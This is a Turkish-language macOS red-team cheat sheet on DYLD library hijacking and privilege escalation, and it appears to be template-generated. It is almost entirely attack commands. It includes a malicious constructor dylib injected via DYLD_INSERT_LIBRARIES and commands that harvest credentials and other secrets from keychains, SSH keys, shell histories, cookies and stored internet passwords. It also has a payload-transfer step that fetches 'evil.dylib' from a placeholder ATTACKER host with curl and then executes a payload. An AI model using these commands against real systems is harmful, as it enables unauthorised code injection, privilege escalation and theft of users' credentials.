Macos Dyld Hijacking And Dyld Insert Libraries

macos privesc

Macos Dyld Hijacking And Dyld Insert Libraries macOS güvenlik modeli (SIP, TCC, Gatekeeper, entitlements, XPC) içinde suistimal notudur. İmza ve privacy sınırlarını ölçüp injection veya hassas veri erişimini kanıtla.

Metodoloji

1. SIP/TCC/Gatekeeper/codesign durumunu ölç.

2. Macos Dyld Hijacking And Dyld Insert Libraries için launch item, entitlement ve library/XPC yüzeyini tara.

3. Injection veya privacy bypass hipotezini doğrula.

4. Keychain/TCC/hassas dosya kanıtını al.

Durum

Macos Dyld Hijacking And Dyld Insert Libraries macOS red-team / privesc notudur. SIP, TCC, Gatekeeper ve entitlements haritası olmadan injection denemek kör ateştir.

id; whoami; hostname

sw_vers; uname -a

csrutil status

spctl --status

system_profiler SPSoftwareDataType | head -n 40

ls -la ~/Library/LaunchAgents /Library/LaunchAgents /Library/LaunchDaemons 2>/dev/null

ps aux | head -n 50

lsof -iTCP -sTCP:LISTEN -nP 2>/dev/null | head

Injection / XPC / library

DYLD hijack, XPC client check zayıflığı ve script runtime injection sık privesc/persist yoludur.

codesign -d --entitlements :- /Applications/App.app 2>&1 | rg -i 'disable-library|get-task|library'

otool -L /Applications/App.app/Contents/MacOS/* 2>/dev/null | head

otool -l /Applications/App.app/Contents/MacOS/* 2>/dev/null | rg -A2 'LC_RPATH|LC_LOAD_DYLIB' | head -n 40

DYLD_INSERT_LIBRARIES=/tmp/evil.dylib /Applications/App.app/Contents/MacOS/App

DYLD_PRINT_LIBRARIES=1 /Applications/App.app/Contents/MacOS/App 2>&1 | head

launchctl print system/com.example.service 2>/dev/null | head

ls /System/Library/LaunchDaemons /Library/LaunchDaemons 2>/dev/null | head

nm /Applications/App.app/Contents/MacOS/* 2>/dev/null | rg -i 'xpc|mach' | head

#include <stdio.h>
__attribute__((constructor)) void init(){
  system("id > /tmp/pwned");
}

clang -dynamiclib -o /tmp/evil.dylib evil.c

Sistem / binary / debug

Mach-O, IOKit userclient ve hassas konumlar kernel/userland kesişimini açar.

file /Applications/App.app/Contents/MacOS/*

lipo -info /Applications/App.app/Contents/MacOS/* 2>/dev/null

nm -m /Applications/App.app/Contents/MacOS/* 2>/dev/null | head

vmmap $(pgrep -n App) 2>/dev/null | head

lldb -p $(pgrep -n App)

nvram -p

kextstat 2>/dev/null | head

systemextensionsctl list 2>/dev/null

ioreg -l | rg -i 'IOUserClient|IOKit' | head

ls -la /var/db /private/var/db /Library/Preferences 2>/dev/null | head

find /Users /Library -name '*.plist' 2>/dev/null | head -n 40

Privesc hızlı tarama

find / -perm -4000 2>/dev/null | head

ls -la /usr/local/bin /opt 2>/dev/null

crontab -l; ls /etc/cron* 2>/dev/null

dscl . -read /Groups/admin GroupMembership

sudo -l 2>/dev/null

Hassas veri ve loot

ls -la ~/Library/Keychains ~/.ssh 2>/dev/null

cat ~/.bash_history ~/.zsh_history 2>/dev/null | tail -n 50

defaults read 2>/dev/null | head

find ~/Library -name '*.sqlite' -o -name '*cookie*' 2>/dev/null | head

security find-internet-password -g 2>/dev/null | head

DYLD hijack

com.apple.security.cs.disable-library-validation veya unsigned target’ta DYLD_INSERT_LIBRARIES.

codesign -d --entitlements :- /Applications/App.app 2>&1 | rg -i library

DYLD_INSERT_LIBRARIES=/tmp/evil.dylib /Applications/App.app/Contents/MacOS/App

install_name_tool -change OLD NEW /path/to/bin

otool -L /path/to/bin

Manuel doğrulama

# Macos Dyld Hijacking And Dyld Insert Libraries — varyant 86

ls -la@ ~/Library ~/Documents 2>/dev/null | head

mdfind 'kMDItemKind == Application' | head

defaults read com.apple.dock 2>/dev/null | head

log show --predicate 'eventMessage contains "tcc"' --last 1h 2>/dev/null | head

fs_usage -w -f filesys 2>/dev/null | head

sample App 3 2>/dev/null | head

Payload taşıma

python3 -m http.server 8000

curl -O http://ATTACKER/evil.dylib

chmod +x ./payload && ./payload

Checklist

[ ] SIP/TCC/Gatekeeper durumu ölçüldü
[ ] Launch item / entitlements / codesign tarandı
[ ] Injection veya XPC hipotezi doğrulandı
[ ] Keychain/TCC/hassas veri loot alındı
[ ] Kalıcılık veya yüksek yetki kanıtlandı

Notlar

Macos Dyld Hijacking And Dyld Insert Libraries sonuçları sürüm, yapılandırma ve koruma katmanına göre değişir. Komutları hedefe göre uyarla; başarılı zinciri adım adım kaydet.